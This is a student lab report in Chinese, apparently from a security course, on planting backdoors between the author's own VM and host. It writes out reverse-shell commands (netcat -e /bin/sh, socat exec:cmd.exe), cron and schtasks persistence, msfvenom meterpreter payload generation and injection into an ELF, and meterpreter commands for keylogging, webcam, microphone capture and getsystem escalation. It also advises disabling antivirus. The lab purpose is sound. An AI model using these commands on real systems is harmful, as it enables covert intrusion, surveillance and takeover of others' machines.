1.实验内容
(一)本周课程内容
(1)深入理解后门概念及其实际案例,明晰后门对系统安全构成的潜在威胁。
(2)普及后门技术知识,涵盖各类进程隐藏技巧,并熟悉netcat、meterpreter、veil等常见工具的应用。
(3)进一步学习了shellcode注入的逻辑原理及其在不同场景下的应用。
(二)实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)(PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
(三)实验简单问答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
①插入来源不明的U盘
②在来源不明的网站下载文件导致植入木马
③截断我的系统与其他人的通信流(中间人攻击),将恶意代码发送至我的系统。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows系统
①任务计划程序:攻击者可以在Windows任务计划程序中创建定时任务,指定在特定时间或事件触发时执行恶意程序。
②动态链接库替换:当应用程序加载特定的动态链接库(DLL)时,攻击者可以通过替换合法的DLL文件为恶意DLL,使得应用程序在运行时加载恶意DLL而不是合法的DLL。
③注册表启动:恶意软件可以在Windows注册表的特定位置(如“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”等)添加键值对,指定恶意程序的路径,从而实现随系统启动而自动启动。
Linux系统
①crontab定时任务:类似于Windows的定时任务,攻击者可以在Linux的crontab中添加任务,指定在特定时间或事件触发时执行恶意程序。
②利用反弹Shell启动后门:攻击者通过让目标系统主动连接到攻击者的服务器,从而建立反向的Shell连接。利用这种技术,攻击者可以在目标系统上启动后门程序,并通过反弹的Shell连接来控制目标系统。
(3)Meterpreter有哪些给你印象深刻的功能?
①生成恶意代码,都不需要自己编写。
②屏幕截图、键盘输入、录音、开启摄像头,可以不知不觉地视奸别人。就是开启摄像头会有闪光灯,太明显了。
(4)如何发现自己有系统有没有被安装后门?
①检查是否有未知或异常的用户账户,特别是那些具有管理员权限的账户。
②查找异常登录尝试、权限提升、文件或目录访问等异常活动。
③使用防病毒软件、防火墙、漏洞扫描工具等,实时维护系统。
④定期更新系统和应用程序的补丁,以修复已知漏洞,使用最新的安全补丁和更新来保护系统免受攻击。
⑤检查系统进程和网络连接:查找是否有不认识的、可疑的或与已知后门相关的进程,查找与已知后门相关的IP地址或端口,检查是否有可疑连接。
2.实验过程
2.0准备过程
一定要先把所有防火墙、防病毒全部关了,实验全程都需要保持关闭状态,不然总是碍事!
虚拟机关闭防火墙使用apt-get install ufw
,ufw disable
命令。
查看主机和虚拟机IP地址,后面经常用
(主机地址在每个任务之间会有变化,因为做实验期间在好几个地方做了)
此处虚拟机IP地址为:192.168.197.130
主机IP地址为:192.168.1.105
2.1使用netcat获取主机操作Shell,cron启动某项任务
2.1.1 使用netcat获取主机操作Shell
先在Windows平台下载netcat,Linux自带。下载教程:> https://blog.csdn.net/muriyue6/article/details/107127217
在主机上,进入netcat所在目录,输入指令nc -l -p 8888
(表示使用netcat软件监听本机8888端口,此时主机是主动攻击方)
注:也可以配置环境变量,在PATH变量中添加netcat文件夹的绝对路径,就可以在任意目录下使用nc指令了
在虚拟机上,输入指令nc 192.168.1.105 8888 -e /bin/sh
(表示对于指定的ip地址和端口,在连接后运行/bin/sh指令,此时虚拟机是被攻击方)
在主机终端输入一些命令(如ls),返回虚拟机的文件信息,说明主机已经成功获取虚拟机操作Shell。
2.1.2 cron启动某项任务
Cron相关介绍
Cron表是用于配置和管理那些需按预定周期自动执行的任务的列表。用户可以通过编辑crontab文件,精确地设定任务(包括脚本或命令)在特定的时间间隔内自动运行。
黑客可能会通过以下步骤利用Cron表设置后门:
①获取系统访问权限:黑客首先需要获取对目标系统的访问权限,这通常是通过利用系统漏洞、破解密码或进行社会工程学攻击等手段实现的。
②编辑Cron表:一旦获得访问权限,黑客可能会使用crontab -e命令来编辑Cron表。他们会在Cron表中添加一个新的任务,该任务将在特定的时间间隔内自动运行一个恶意脚本或命令。
③编写恶意脚本:黑客会编写一个恶意脚本,该脚本可能包含用于反弹Shell、收集系统信息、安装恶意软件或执行其他恶意行为的代码。这个脚本需要被放置在目标系统上的某个位置,并确保Cron任务能够找到并执行它。
④设置Cron任务:在Cron表中,黑客会设置一个新的任务,指定恶意脚本的路径和执行时间。
例如,他们可能会设置一个每分钟执行一次的Cron任务,以确保恶意脚本能够持续运行并执行其恶意行为。
⑤利用后门进行攻击:一旦后门被成功设置,黑客就可以利用它来随时访问和控制系统。他们可以通过反弹Shell来执行命令、查看系统信息、传输文件或进行其他恶意操作。
我们要用编辑cron表,就要了解命令的格式。以下是一个典型的crontab条目的格式:
* * * * * command_to_be_executed
- - - - -
| | | | |
| | | | +----- 星期几 (0 - 7) (星期天 为0或7)
| | | +------- 月份 (1 - 12)
| | +--------- 日期 (1 - 31)
| +----------- 小时 (0 - 23)
+------------- 分钟 (0 - 59)
以下是一些具体的例子:
1.每分钟执行一次命令:* * * * * /path/to/command
2.每小时的第15分钟执行命令:15 * * * * /path/to/command
3.每天凌晨1点执行命令:0 1 * * * /path/to/command
4.每周一的凌晨2点执行命令:0 2 * * 1 /path/to/command
5.每月1号的凌晨3点执行命令:0 3 1 * * /path/to/command
6.每年1月1日的凌晨4点执行命令:0 4 1 1 * /path/to/command
实验过程
1.直接编辑crontab表
在虚拟机以root权限(或以root用户名登录)(若用普通用户名登录,则使用sudo su
命令,输入密码后切换至root身份)打开命令行,输入命令crontab -e
(编辑当前用户的crontab文件)
选择2:/usr/bin/vim.basic(vim的基础版)
直接滑到最后,按i
进入编辑模式,输入45 * * * * /bin/netcat 192.168.1.105 8888
(在每个小时的45分执行相应指令),按Esc
退出编辑模式,输入 :wq!
保存并退出。
使用指令crontab -l
查看时程表,可以看到添加任务成功。
在虚拟机的文件系统中查找/var/spool/cron/crontabs文件夹,可以看到新增了一个root文件。
2.通过netcat获取的主机操作shell,利用echo语句将定时任务远程注入crontab表。
在windows主机的终端(cmd)中,用同样的方式再次与虚拟机建立连接。
输入指令echo "* * * * * echo "20222318" > /home/主机名/Desktop/2318_1.txt" > /var/spool/cron/crontabs/root
(该语句的意思是往crontabs中的root文件中输入"* * * * * echo "20222318" > /home/keitaro726/Desktop/2318_1.txt"
这一字符串,意思是每分钟执行一次这个echo指令,而这个echo指令又是为了往2318_1.txt写入“20222318”)
输入crontab -l
查看时程表,可以看到注入成功。
过一分钟后可以看到桌面上出现2318_1.txt,且内容为20222318。
2.2使用socat获取主机操作Shell, 任务计划启动
socat其实可以理解为netcat的升级版,也是为了在设备之间传递文件/数据的。Linux自带,Windows要自己下载。下载socat后,在主机上解压缩即可使用。
在socat所在的文件夹进入cmd,输入指令 socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
(创建一个在TCP端口8888监听上的服务器,当有人连接到这个端口时,它会启动一个cmd.exe会话,并将这个会话的输入和输出通过 TCP 连接与客户端共享)
在虚拟机上输入socat - tcp:192.168.1.105:8888
(使用socat建立一个到特定IP地址和端口的TCP连接),成功进入到Windows主机命令行。
在主机上编写一段Shell,在cmd用gcc编译好(需配置好gcc的环境变量)生成exe文件。程序的内容(不要带空格、中文)如下。
在虚拟机中,输入指令schtasks /create /sc minute /mo 1 /tn"20222318lzf" /tr D:\Code_Blocks_Workspace\20222318lzf\lzf.exe
(创建一个名为 "20222318lzf" 的计划任务,该任务每分钟执行一次,执行的程序是lzf.exe)
(注:这里我多输入了y,是因为之前不小心忘记在create前输入"/"了,导致命令出错,我猜测这里输入y是为了确认覆盖掉之前错误命令所创建的任务计划。)
在主机中打开计算机管理,看到"20222318lzf"这一每分钟执行一次的任务,说明攻击成功。
2.3使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
1.用meterpreter生成后门文件
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=虚拟机IP LPORT=8888 -f exe > backdoor2022318.exe
这一指令将生成一个名为backdoor20222318.exe的恶意可执行文件,该文件包含一个反向TCP Meterpreter shell有效载荷。当这个文件在Windows计算机上运行时,它会尝试建立一个到IP地址为192.168.197.130、端口号为8888的攻击者机器的反向连接。如果连接成功,攻击者就可以通过Meterpreter shell远程控制受感染的计算机。
2.将后门文件传至windows主机
在主机中进入netcat所在目录,输入指令nc -lv 8888 > "自定目录\backdoor20222318.exe"
(监听8888端口,将监听结果输出到windows平台中的backdoor20222318.exe文件中,本质上是利用netcat将后门文件传输到windows主机上)
注:这张图片的输出结果表示8888端口无法使用。我最终并没有用这个方法传输后门文件,因为我排查不出端口无法使用的原因,我也找不到合适的端口进行数据传输,我是通过xftp直接将后门文件传输到windows主机上的,此处仅做正常命令流程的解释。
具体:只是新建了一个文件用于等待接收数据,实际上完全没有任何内容。
同时,在虚拟机中输入指令nc 目标IP地址 8888 < backdoor20222318.exe
(将backdoor20222318.exe的文件内容发送到192.168.1.105:8888)
此时图片显示结果:该IP地址的该端口拒绝连接(可能是因为端口关闭或是处于过滤状态)。
解决方案:使用其他工具(如xftp)传输后门文件。
注:虚拟机可能启动时不会自动开启ssh服务,这是由系统配置文件决定的,进行ssh传输前务必先用systemctl start ssh
开启ssh服务,否则就算输入正确的IP地址、用户名、密码也无法进行连接。如图。
传输后可以看到exe文件有内容了(终于!!!)卡了我五六个小时(哭)
3.配置监听模块
在虚拟机的终端输入指令msfconsole
,打开Metasploit框架的主要控制台界面。这个图案纯粹是装饰品,每次启动都不一样,不用管。
输入如下命令对监听模块进行配置:
use exploit/multi/handler
(选择Metasploit中的multi/handler利用模块)
set payload windows/meterpreter/reverse_tcp
(设置要使用的有效载荷,和生成后门程序时设置的相同)
set LHOST 192.168.197.130
(设置后门连接到的IP地址,也就是监听端)
set LPORT 8888
(设置监听数据流向的端口)
输入exploit
,使监听模块开始运行。
在主机上进入backdoor20222318.exe所在文件夹,在此路径下进入cmd,输入backdoor20222318.exe
,使其开始运行。
回到虚拟机,输入dir
会显示backdoor20222318所在的目录(也就是桌面),可以发现已经连接至主机。
2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
1.获取目标主机音频、截屏、摄像头、击键记录
在exploit模块中输入以下指令:
record_mic
(录音)
screenshot
(截屏)
webcam_snap
(拍摄)
keyscan_start
(开始读取键盘记录)
(回到主机输入一段文字)
keyscan_dump
(结束读取键盘记录)
除了键盘记录直接显示在命令行以外,可以在文件系统看到被保存的音频、截屏、拍摄记录。
2.实现提权
记住一定要用管理员身份运行cmd再运行后门程序,否则权限不够无法提权!
用指令getuid
得到初始用户名DESKTOP-G4F355S\DELL。
用指令getsystem
提升到系统权限。
可以看到提权成功。使用的是第六个方法(不重要)
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
在虚拟机中输入指令msfvenom -p linux/x86/meterpreter/reverse tcp LHoST=192.168.197.130 LPORT=8888 -x /home/keitaro726/Homework/Experiment2/pwn20222318-2-1 -f elf > pwn2_20222318
(创建一个Linux 32位平台上的反向TCP meterpreter payload,将其注入到指定的可执行文件(pwn)中,并将注入结果保存为一个ELF格式的文件,elf文件在Linux平台是可执行文件,与exe类似)
使用指令sudo su
(提升至管理员身份)chmod +x 需要提权的文件
对生成的elf文件提高权限。
输入msfconsole
,再次进行监听配置(注意生成的payload是linux/x86/meterpreter/reverse_tcp
),输入exploit
开始监听。
在虚拟机打开新的终端,运行elf文件pwn2_20222318。
回到监听终端,输入ls,发现可以打印当前目录的内容,说明成功获取shell。
3.问题及解决方案
- 问题1:传输后门文件的时候明明把实时保护、防病毒、防火墙都关了,但是一传输过来就会被删除。
- 问题1解决方案:实时保护功能会不定时自动开启,需要多次查看是否关闭。
- 问题2:使用netcat传输后门文件时总显示无法解析主机名,也无法和8888端口通信,但是可以ping通。
注:这里的IP地址是Windows平台的主机地址,当时连的是教室Wifi,IP地址变了
- 问题2解决过程:
1.查看有无占用8888端口的进程,如果有,关闭该进程。
事实上找不到占用该端口的进程
2.下载nmap进行端口扫描,直接查看8888端口的状态
该端口处于关闭状态,服务却不是“unknown”,被一个具体的服务占用了
3.查看其他空闲端口,尝试用其他空闲端口传输
(中间实时保护突然打开了,把netcat隔离了,后面将实时保护关掉,恢复netcat才继续用)
结果还是无法利用空闲端口。
所有防火墙、防病毒、实时保护都关闭了,也能ping通百度,ping通主机,说明网络通畅。排查了很久始终不知道为什么不能利用特定端口进行传输,就放弃了使用netcat传输后门程序。
4.学习感悟、思考等
本次实验我通过不断摸索明白了netcat,socat,meterpreter的用法,学习到了很多有关端口扫描、数据传输的知识,感受到了后门程序的强大力量。但是实际上要植入一个后门程序可不容易呀,一出现一个可疑文件杀毒软件就会把你宰了,所以要做好免杀工作,而且防火墙还要处于关闭状态,恶意文件才能进来(或是你自己下载了不明链接的文件),所以如果自己警惕意识强的话,电脑想要被感染还真是不太容易,这告诉我们网络安全首要抓的就是防范的意识。除此之外,这次实验还让我体验到了黑客的感觉,看到自己的照片、自己的屏幕被截图,感觉真的很惊喜,从前觉得黑客掌握的技术距离我还很遥远,如今我也能用用三脚猫功夫了,感觉学到这种新知识新技能很开心很兴奋。
标签:后门,8888,主机,虚拟机,端口,2024,2025,20222318,输入 From: https://www.cnblogs.com/Keitaro726/p/18498298